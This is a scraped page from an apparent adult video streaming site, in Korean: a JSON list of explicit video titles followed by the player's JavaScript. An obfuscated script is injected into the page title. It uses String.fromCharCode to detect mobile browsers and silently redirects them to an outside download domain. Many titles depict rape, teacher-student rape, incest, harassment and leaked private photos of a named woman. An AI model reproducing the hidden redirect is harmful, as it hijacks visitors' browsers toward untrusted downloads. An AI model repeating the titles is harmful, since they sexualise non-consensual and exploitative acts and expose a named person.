추천 영상
53:45
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>대학생 커플이 호텔 방을 예약하고, 여자가 검은 스타킹으로 갈아입자, 남자친구가 콘돔 없이 질내 사정을 했다.</script></title>
대학생 커플이 호텔 방을 예약하고, 여자가 검은 스타킹으로 갈아입자, 남자친구가 콘돔 없이 질내 사정을 했다.","lastmod":"2026-07-11","duration":"53:45","url":"/play/19164200.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDM4MzY4MjUyZWJjYjJlZmE4ZTFlYzZlMjE1YWM5ZjUuanBn.cache","vod_id":18989289,"title":"200GANA-2239 진지한 소프트코어, 첫 촬영. 1449 연말 파티 시즌에 고탄다에서 발견한 18세 여대생을 만나게 되어 기분 좋게 놀랐습니다! 그녀는 수줍음이 많고 좋아하는 선배에게 다가가고 싶어 하지만 어떻게 해야 할지 몰라 당황해했습니다. 그래서 저희는 연습(사실상 성관계)을 진행했습니다. 연습 도중 그녀는 열정적으로 페니스를 빨고, 손가락으로 오르가즘을 느끼고, 카우걸 자세와 활기찬 골반 움직임을 즐기며 카메라 앞에서 은밀한 음란함을 드러냈습니다! (0002)","lastmod":"2025-03-23","duration":"01:00:59","url":"/play/18989289.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTUxMGFhZGExYjIyN2YxMmExZDkyZmU3NzM1YWFmNjEuanBn.cache","vod_id":18953477,"title":"SSPD-099 수치스러운 사제 3: 아마네 츠바사","lastmod":"2025-03-22","duration":"01:57:16","url":"/play/18953477.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMjNhMzMyOTc2YWNjYTZhMWJlZDVmY2RiODczMDI4YzYuanBn.cache","vod_id":19160557,"title":"그들은 시들지 않았을 뿐만 아니라, 오히려 싱싱해 보였다!! 신중하게 선별된 성숙한 여성 12명이 정액을 사정하여 사망했다.","lastmod":"2026-05-29","duration":"04:02:56","url":"/play/19160557.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MDcvZTUwMGQxNmFhZDA5NjcwN2Y3Njc3ZWM0MWEwNDM0OTYuanBn.cache","vod_id":19051343,"title":"CHUC121 너무나 귀여운 대학생 아야 (22세)","lastmod":"2025-09-06","duration":"01:12:10","url":"/play/19051343.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYTYxZWMxZmE0YjY4ZTg4MDJkNWRiMDA5NjM4ZjQ3ODMuanBn.cache","vod_id":19147045,"title":"길거리에서 우연히 체육 수업을 듣는 이성애자 남학생과 마주쳤는데, 그는 자신의 성기를 노출하고 자위행위를 하며 정액을 땅바닥에 뿌렸다.","lastmod":"2026-03-07","duration":"02:11","url":"/play/19147045.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZDRiOGFkN2U4MzRmZWFkNWY2MDAzYTRiMjhkNDQ0ZGIuanBn.cache","vod_id":19140681,"title":"주변을 휩쓸고 지나간, 조용한 파트타임 대학생 소녀","lastmod":"2026-01-28","duration":"08:03","url":"/play/19140681.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2U0MDU5MGI5MjUxZWRmNzI3MmUzODRiNGJiYzJjODMuanBn.cache","vod_id":18958653,"title":"WANZ-54112 정액 보존 기간, 음경 사정, 정액 방출, 금지된 성행위, 웨이브 유이 타노 2016-09-29 웨이브 유이 타노 싱글 여성 유 유타-037","lastmod":"2025-12-14","duration":"01:58:47","url":"/play/18958653.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTEvOWM2OWZhNDk5YzMyMzZlMzA0MTBhOTZjNmI4YTNiNTAuanBn.cache","vod_id":19167984,"title":"아파트 구하는 것을 돕던 남학생들이 성폭행을 당하는 사건; 매우 선정적인 여성 부동산 중개인; 미야모토 코유키; 미야모토 코유키; 센터 빌리지","lastmod":"2026-07-12","duration":"01:39:48","url":"/play/19167984.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjhlYmIzYTE0OTBlMTQyOTgwYWZlZjYyNjljZDEwYzEuanBn.cache","vod_id":18966614,"title":"얼굴을 드러내는 것이 핵심이다! 포르노허브 인플루언서 출신이자 상하이 유학생이었던 아이샤는 포르노 업계를 떠났지만, 세련된 외모를 지닌 채 놀라울 정도로 문란한 생활을 하며 다양한 형태의 성행위와 사정을 하고 있다. (7)","lastmod":"2025-12-14","duration":"00:16:44","url":"/play/18966614.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MjkvN2UzYzAzZDE0ODhhNjE3NzRhMTAyOTM0ODM3N2MyYTIuanBn.cache","vod_id":19055145,"title":"현재 대학생입니다.","lastmod":"2025-09-28","duration":"34:45","url":"/play/19055145.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYWE3MTkzZDJmZGU3MGY1MmNhN2IwOGM0MzI4NzZjNWIuanBn.cache","vod_id":19005586,"title":"100곳에 지원했지만 모두 거절당한 MIFD-256-C에게 남은 마지막 희망은 AV 배우가 되는 것뿐이다!! 만약 AV 배우가 되지 못하면 고국으로 돌아가야 할 것이다.","lastmod":"2025-03-24","duration":"02:29:16","url":"/play/19005586.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWM0MDExYmVmM2FkYzkzNjM5OWU5MWM0YTMzNDMzODMuanBn.cache","vod_id":18952113,"title":"유출된 사적인 사진: 대조적인 얼굴을 가진 젊은 여대생 공개 [황자원] 고금리로 돈을 빌려 몸으로 갚아야 하는 상황; 수많은 음란 셀카와 샤워 사진 공개; 황자원은 뛰어난 몸매를 자랑한다(15)","lastmod":"2025-12-14","duration":"00:00:57","url":"/play/18952113.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTA0YzJiMGMyODZhMmExNzQ5OGFhMzU2NDQyZjFiMjcuanBn.cache","vod_id":18927122,"title":"YMDD-163 사정 여자 후타 여자의 성기로 사정 마리 리카","lastmod":"2025-12-14","duration":"02:35:21","url":"/play/18927122.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTVkZWZhNTY4NWQ5ZTVkMjA1ZGNhMDQyZjM1YTA3NzkuanBn.cache","vod_id":18963953,"title":"ED 모자이크 신규 회원 ❤️ 최고급 천연 G컵 가슴을 가진 여대생 - 첸시!","lastmod":"2025-12-14","duration":"00:47:23","url":"/play/18963953.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNGQyMzYyZjA1YTE2OGZmYzFkZDNiZmI2MGM0YmQ1OTAuanBn.cache","vod_id":19151663,"title":"귀여운 트윈테일 여학생이 섹스 토이를 구매하고 최고의 쾌감을 위해 자위행위를 한다.","lastmod":"2026-04-04","duration":"01:46:00","url":"/play/19151663.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2M1MTlkYjYwYmY4NThkNDI4NDhlYWQ2ZDBiNzFmMzQuanBn.cache","vod_id":18980607,"title":"[중국어 자막] IPZZ-061 변태 중년 여교사가 노예처럼 제자의 여린 입술을 키스하고 강간한다 - 모모노기 카나","lastmod":"2025-12-14","duration":"02:03:43","url":"/play/18980607.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MDgvNzY2NGU1NmM3NzIwZTgzYzgwNDZlZGFhYWZhOTlhYzEuanBn.cache","vod_id":19051656,"title":"처녀성을 잃고, 임신하고, 50명의 여자 안에 사정하는 4시간짜리 특별 이벤트. 무명 배우 BDSR532","lastmod":"2025-09-07","duration":"04:00:19","url":"/play/19051656.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTJkMzdkMjQwM2NiYzY3NjBlZjgyNmQ4NzU5ZmUwMjMuanBn.cache","vod_id":19018520,"title":"정액 먹는 여자 좋아해? 걔네들은 항상 내 정액을 입에 받아줘.","lastmod":"2025-03-24","duration":"15:13","url":"/play/19018520.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjBmYTdlNTg1YzAyMjkzYTYxZmIyODBjOWU5OThmZGMuanBn.cache","vod_id":18990571,"title":"MDTM-618 현대 여대생의 급진적인 성생활","lastmod":"2025-03-23","duration":"04:19:26","url":"/play/18990571.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2MxNWI5YmQwMDRiZTIyNWM5ZjExN2JmYzgwYjE2MjQuanBn.cache","vod_id":19023617,"title":"IPZZ090C \"끝에서 불과 3cm밖에 남지 않았는데...\" 처녀인 여대생이 성관계를 시도하지만, 다리가 후들거리고 결국 참지 못하고 맙니다.","lastmod":"2025-03-24","duration":"02:03:28","url":"/play/19023617.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjJmNDY4ZThlMGMzNzg2YTA3Yzc0NzNmOWUzZTk3YWIuanBn.cache","vod_id":18970808,"title":"[무삭제판] PPPE-027 나에게 콜걸이 되라고 한 그 여자는 나를 퇴학시킨 그 뻔뻔하고 가슴 큰 여대생이야! 약점을 이용해 소문을 퍼뜨리고 있어.","lastmod":"2025-03-23","duration":"01:59:09","url":"/play/18970808.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MDUvNDZhMTg5YTU4ZTU4NGJiYzUzZGQ1YWRiMjg4OWJhMzIuanBn.cache","vod_id":19050335,"title":"[중국어] 압박감을 잘 견디지 못하고 사람을 잘 파악하는 성격의 워킹맘 소네535는 직장과 여행 중 성희롱과 신체 접촉을 당했습니다.","lastmod":"2025-09-04","duration":"02:03:04","url":"/play/19050335.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMjEvZmE5YTY0YzQwMjRjMzBlNjRlZDliMGUxNzUwZWI3MDAuanBn.cache","vod_id":19058865,"title":"아내의 임신과 불륜 전력; 아내가 대학생과 근친상간 성행위를 즐기는 모습; 당신이 공장에서 일하는 동안 만족시켜 드리기 위해 제 정액을 사용합니다... 오츠키 히비키 NGOD232","lastmod":"2025-10-20","duration":"02:04:25","url":"/play/19058865.html"}]},
videoTitle: 'DUVV-017 교토 여대생의 임신한 질이 정액으로 흠뻑 젖었다 2',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}